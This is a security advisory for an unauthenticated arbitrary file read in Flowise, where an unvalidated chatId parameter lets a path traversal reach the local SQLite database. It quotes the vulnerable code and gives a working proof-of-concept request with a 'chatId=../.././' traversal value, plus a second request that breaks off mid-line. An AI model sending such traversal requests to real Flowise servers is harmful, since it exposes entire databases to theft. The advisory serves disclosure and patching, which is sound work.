Flowise has an Arbitrary File Read

### Summary An arbitrary file read vulnerability in the `chatId` parameter supplied to both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content. ### Details Both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints accept the `chatId` parameter and pass this to a subsequent call to streamStorageFile(). ``` const chatflowId = req.query.chatflowId as string const chatId = req.query.chatId as string const fileName = req.query.fileName as string ... const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId) ``` While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId. ``` // Validate chatflowId if (!chatflowId || !isValidUUID(chatflowId)) { throw new Error('Invalid chatflowId format - must be a valid UUID') } // Check for path traversal attempts if (isPathTraversal(chatflowId)) { throw new Error('Invalid path characters detected in chatflowId') } ... const sanitizedFilename = sanitize(fileName) ... const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename) ``` There is validation that the resulting filePath is restricted to the `/root/.flowise/storage` directory. ``` if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`) ``` However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted. ``` if (fs.existsSync(filePath)) { return fs.createReadStream(filePath) } else { // Fallback: Check if file exists without orgId const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename) if (fs.existsSync(fallbackPath)) { // Create directory if it doesn't exist const dir = path.dirname(filePath) if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }) } // Copy file to correct location with orgId fs.copyFileSync(fallbackPath, filePath) // Delete the old file fs.unlinkSync(fallbackPath) // Clean up empty directories recursively _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId)) return fs.createReadStream(filePath) ``` As this fallback path is read after the `/root/.flowise/storage` check, this allows an additional level of traversal up to `/root/.flowise/`. As a result, this allows reading of `/root/.flowise/database.sqlite`, which contains all database content in the default Flowise configuration. REQUEST ``` GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1 Host: 127.0.0.1:3000 ``` RESPONSE ``` HTTP/1.1 200 OK Vary: Origin Access-Control-Allow-Credentials: true Content-Disposition: attachment; filename="database.sqlite" Date: Tue, 22 Jul 2025 06:43:51 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 385024 SQLite format 3��

�@ ���6���^���A��������������������
�����������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ �Ï
l– Í‚S=*
'
'���������������������������������������������������������������������������������������������������������������������������������������������;,O)
�indexsqlite_autoindex_docume ... ``` Similarly, for `/api/v1/openai-assistants-file/download`: REQUEST ``` POST /api/v1/openai-assistants-file/download HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Content-Length: 100 {"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309b

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-22

Also known as

CVE-2025-71324

• github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf
• github.com/FlowiseAI/Flowise